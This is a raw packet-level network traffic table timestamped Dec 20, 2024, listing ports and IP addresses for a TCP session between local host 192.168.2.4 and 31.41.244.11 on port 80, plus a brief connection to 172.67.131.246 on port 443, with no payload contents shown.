Dec 20, 2024 09:12:20.771815062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.776274920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.776325941 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.776335001 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.776403904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.780962944 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.781001091 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.781071901 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.785425901 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.785495996 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.785499096 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.785547972 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.790117025 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.790170908 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.790210009 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.790235043 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.794884920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.794938087 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.794950962 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.794995070 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.798525095 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.798576117 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.798610926 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.798646927 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.802146912 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.802202940 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.802206039 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.802310944 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.806160927 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.806210041 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.806267977 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.806267977 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.809689999 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.809792042 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.809808969 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.809856892 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.814780951 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.814935923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.815011024 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.817322016 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.817389965 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.817539930 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.817837954 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.821065903 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.821121931 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.821125984 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.821237087 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.824775934 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.824832916 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.824908972 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.828632116 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.828759909 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.828845978 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.857304096 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.857388020 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.857410908 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.857492924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.889174938 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.889209986 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.889307976 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.889669895 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.889687061 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.929080009 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.929124117 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.929168940 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.929295063 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.930258989 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.930330038 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.930423021 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.930485964 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.933123112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.933195114 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.933327913 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.933389902 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.935874939 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.935946941 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.936027050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.936091900 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.938795090 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.938859940 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.939338923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.939412117 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.941416979 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.941478014 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.941550970 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.941613913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.944070101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.944195032 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.944289923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.944356918 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.946794987 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.946831942 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.946863890 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.946917057 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.949229002 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.949297905 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.949357986 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.949420929 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.951776981 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.951842070 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.951920033 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.951977015 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.954220057 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.954287052 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.954329967 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.954390049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.956651926 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.956717968 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.956788063 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.956851006 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.959166050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.959202051 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.959233999 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.959270954 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.961525917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.961668968 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.961751938 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.964005947 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.964078903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.964113951 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.964179993 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.966500998 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.966537952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.966562986 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.966610909 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.968866110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.968933105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.968980074 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.969042063 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.971237898 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.971304893 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.971405029 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.971467018 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.973769903 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.973824978 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.973834991 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.973879099 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.976152897 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.976211071 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.976229906 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.976284981 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.978538990 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.978624105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.978702068 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.978768110 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.980990887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.981144905 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.981223106 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.983467102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.983870029 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.983947992 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.985191107 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.985347033 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.985421896 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.987147093 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.987183094 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.987246037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.988836050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.988882065 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.988902092 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.988949060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.990585089 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.990709066 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.990773916 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.992513895 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.992549896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.992623091 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.992659092 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.994164944 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.994299889 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.994309902 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.994366884 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.995991945 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.996026993 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.996100903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.997776031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.998035908 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.998114109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.999558926 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.999614000 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.999682903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.001334906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.001431942 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.001513958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.003134012 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.003273964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.003356934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.004978895 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.005240917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.005319118 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.006798029 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.006851912 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.006869078 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.006999016 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.008536100 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.008661032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.008724928 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.010304928 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.010339975 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.010409117 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.121005058 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.121089935 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.121150017 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.121232986 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.121822119 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.121880054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.121892929 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.121988058 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.123076916 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.123143911 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.123173952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.123234987 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.124531031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.124597073 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.124690056 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.124763966 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.126035929 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.126111984 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.126137972 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.126204967 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.127582073 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.127650976 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.127677917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.127756119 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.129075050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.129162073 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.129194021 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.129262924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.130548954 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.130616903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.130625010 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.130767107 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.132093906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.132132053 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.132204056 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.133522034 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.133557081 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.133601904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.133631945 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.134876013 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.134932041 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.134946108 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.135004044 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.136288881 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.136342049 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.136414051 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.137650013 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.137806892 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.137855053 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.137885094 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.139062881 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.139137983 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.139178038 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.139240026 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.140604019 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.140675068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.140696049 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.140872955 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.141884089 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.141949892 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.141967058 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.142030001 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.143290043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.143369913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.143383026 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.143467903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.144767046 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.144820929 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.144833088 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.144876003 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.146159887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.146215916 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.146222115 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.146277905 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.147627115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.147663116 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.147710085 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.147711039 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.148977041 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.149044991 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.149079084 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.149143934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.150417089 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.150513887 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.150513887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.150589943 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.151900053 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.151936054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.151967049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.151998997 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.153245926 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.153280973 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.153315067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.153333902 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.154784918 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.154839039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.154853106 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.154907942 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.156060934 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.156124115 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.156166077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.156223059 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.157588959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.157643080 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.157649994 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.157730103 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.158849955 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.158921957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.158962011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.159018040 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.160274982 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.160391092 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.160415888 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.160478115 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.161777973 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.161813021 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.161844969 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.161875963 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.163110018 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.163235903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.163363934 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.163424015 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.164506912 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.164572954 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.164638996 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.164705038 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.165911913 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.165978909 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.166024923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.166080952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.167377949 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.167448997 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.167520046 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.167624950 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.168781996 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.168849945 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.168895960 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.168957949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.170159101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.170222998 CET	49785	80	192.168.2.4	31.41.244.11
